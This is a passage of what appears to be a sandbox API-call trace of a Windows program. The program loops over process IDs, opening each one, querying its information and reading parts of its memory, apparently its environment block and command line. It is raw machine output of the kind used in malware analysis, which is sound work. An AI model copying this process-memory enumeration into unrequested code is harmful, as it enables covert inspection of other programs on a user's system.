_BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4080") returned 4 [0285.994] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0285.994] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0286.009] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xff0) returned 0x464 [0286.009] GetLastError () returned 0x0 [0286.010] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0286.010] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x37d018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0286.010] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0286.010] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x561cd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0286.010] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5618f8, lpBuffer=0x670f7c2b0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0286.012] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0286.031] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0286.031] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x37d020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0286.031] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5612e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0286.031] malloc (_Size=0x6a) returned 0x196ef0d31b0 [0286.031] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x56195a, lpBuffer=0x196ef0d31b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0286.032] free (_Block=0x196ef0d31b0) [0286.033] CloseHandle (hObject=0x464) returned 1 [0286.033] _ui64tow_s (in: _Value=0xff8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4088") returned 0x0 [0286.037] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4088") returned 4 [0286.038] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0286.038] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0286.052] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xff8) returned 0x464 [0286.052] GetLastError () returned 0x0 [0286.052] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0286.052] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2b5018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0286.053] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0286.053] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1cf0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0286.053] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e18f8, lpBuffer=0x670f7c2b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0286.054] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0286.055] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0286.055] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2b5020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0286.055] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0286.055] malloc (_Size=0x72) returned 0x196ef0d31b0 [0286.056] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1962, lpBuffer=0x196ef0d31b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0286.057] free (_Block=0x196ef0d31b0) [0286.057] CloseHandle (hObject=0x464) returned 1 [0286.058] _ui64tow_s (in: _Value=0x1004, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4100") returned 0x0 [0286.063] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4100") returned 4 [0286.064] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0286.064] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0286.091] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1004) returned 0x464 [0286.091] GetLastError () returned 0x0 [0286.092] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0286.092] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x37f018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0286.092] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0286.092] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x511cd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0286.093] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5118f8, lpBuffer=0x670f7c2b0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0286.094] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0286.096] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0286.096] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x37f020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0286.096] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5112e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0286.096] malloc (_Size=0x6a) returned 0x196ef0d31b0 [0286.096] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x51195a, lpBuffer=0x196ef0d31b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0286.097] free (_Block=0x196ef0d31b0) [0286.098] CloseHandle (hObject=0x464) returned 1 [0286.098] _ui64tow_s (in: _Value=0x100c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4108") returned 0x0 [0286.102] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4108") returned 4 [0286.103] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0286.103] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0286.119] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x100c) returned 0x464 [0286.119] GetLastError () returned 0x0 [0286.120] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0286.120] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x461018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0286.120] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0286.120] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x391d20, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0286.120] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3918f8, lpBuffer=0x670f7c2b0, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0286.155] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0286.156] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0286.156] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x461020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0286.156] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3912e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0286.156] malloc (_Size=0x82) returned 0x196ef0fa450 [0286.156] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x391972, lpBuffer=0x196ef0fa450, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fa450*, lpNumberOfBytesRead=0x0) returned 1 [0286.157] free (_Block=0x196ef0fa450) [0286.157] CloseHandle (hObject=0x464) returned 1 [0286.158] _ui64tow_s (in: _Value=0x1018, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4120") returned 0x0 [0286.162] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4120") returned 4 [0286.163] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0286.164] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0286.179] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1018) returned 0x464 [0286.179] GetLastError () returned 0x0 [0286.179] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0286.179] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4aa018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0286.180] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0286.180] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x311d10, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0286.180] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3118f8, lpBuffer=0x670f7c2b0, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0286.181] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0286.182] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0286.182] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4aa020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0286.183] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3112e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0286.183] malloc (_Size=0x80) returned 0x196ef0fa9f0 [0286.183] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x311970, lpBuffer=0x196ef0fa9f0, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fa9f0*, lpNumberOfBytesRead=0x0) returned 1 [0286.183] free (_Block=0x196ef0fa9f0) [0286.184] CloseHandle (hObject=0x464) returned 1 [0286.185] _ui64tow_s (in: _Value=0x1020, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4128") returned 0x0 [0286.190] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4128") returned 4 [0286.191] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0286.191] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0286.226] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1020) returned 0x464 [0286.226] GetLastError () returned 0x0 [0286.226] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0286.226] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x20c018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0286.227] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0286.227] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x441cd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0286.227] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4418f8, lpBuffer=0x670f7c2b0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0286.228] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0286.229] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0286.229] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x20c020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0286.229] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4412e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0286.229] malloc (_Size=0x66) returned 0x196ef0d0610 [0286.229] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x441956, lpBuffer=0x196ef0d0610, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0610*, lpNumberOfBytesRead=0x0) returned 1 [0286.230] free (_Block=0x196ef0d0610) [0286.232] CloseHandle (hObject=0x464) returned 1 [0286.290] _ui64tow_s (in: _Value=0x1038, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4152") returned 0x0 [0286.295] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4152") returned 4 [0286.296] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0286.296] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0286.314] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1038) returned 0x464 [0286.314] GetLastError () returned 0x0 [0286.315] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0286.315] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x30f018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0286.315] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0286.315] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1d20, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0286.315] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e18f8, lpBuffer=0x670f7c2b0, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0286.317] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0286.318] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0286.318] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x30f020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0286.318] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0286.319] malloc (_Size=0x82) returned 0x196ef0faa80 [0286.319] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1972, lpBuffer=0x196ef0faa80, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0faa80*, lpNumberOfBytesRead=0x0) returned 1 [0286.320] free (_Block=0x196ef0faa80) [0286.320] CloseHandle (hObject=0x464) returned 1 [0286.362] _ui64tow_s (in: _Value=0x1040, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4160") returned 0x0 [0286.366] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4160") returned 4 [0286.367] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0286.367] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0286.383] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1040) returned 0x464 [0286.384] GetLastError () returned 0x0 [0286.384] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0286.384] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3da018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0286.384] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0286.385] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c1cb0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0286.385] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c18f8, lpBuffer=0x670f7c2b0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0286.386] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0286.388] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0286.388] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3da020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0286.388] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0286.388] malloc (_Size=0x5e) returned 0x196ef0d0370 [0286.388] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c194e, lpBuffer=0x196ef0d0370, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0286.390] free (_Block=0x196ef0d0370) [0286.390] 